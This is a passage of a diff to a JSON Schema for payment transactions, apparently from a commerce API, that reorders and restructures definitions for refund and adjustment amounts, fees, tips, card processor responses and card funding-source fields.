"$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } }, "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "required": [ - "feeType" - ] + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } }, - "description": "Fees if any" + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", + ], "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" + "amountType": { + "type": "string" } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", + "description": "Payment Context details", "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "title": "Uuid", + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + }, + "title": "PaymentContext", + "type": "object" } - } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", "readOnly": true, + "type": "integer" + }, + "avsResult": { "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { "addressResult": { - "readOnly": true, - "description": "Result of Address verification", "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", + "cardHolderNameResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", + "cityResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", + "countryResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", + "phoneResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", + "stateResult": { "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", "UNAVAILABLE" - ] + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, "cvResult": { - "type": "string", + "description": "CVV verification result", "enum": [ "MATCH", "NO_MATCH", "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", "readOnly": true, - "description": "Approval code that can be used for reference" + "type": "string" }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "interacMacResult": { - "type": "string", + "description": "Interac mac result (if interacMac is used)", "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "type": "string" }, - "emvTags": { + "scaResult": { + "description": "Strong customer authentication result", "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" } - } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" } ], "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" + "processorType": { + "type": "string" } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } }, "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents refund transaction against a payment", - "properties": { - "alternateFundingSource": { - "description": "Alternate funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + ], + "description": "Represents Adjustment transaction against a payment", + "properties": { + "newAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } }, "required": [ - "type", - "number", - "source" - ] + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "cardPinKeySerialNumber": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "x-currency-type": true, + "x-custom-type": true }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", + "description": "Tip amount details", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Tip Amount", + "type": "object" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + } + }, + "required": [ + "newAmount" + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } - } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } }, "required": [ - "cardDetail" - ] + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + 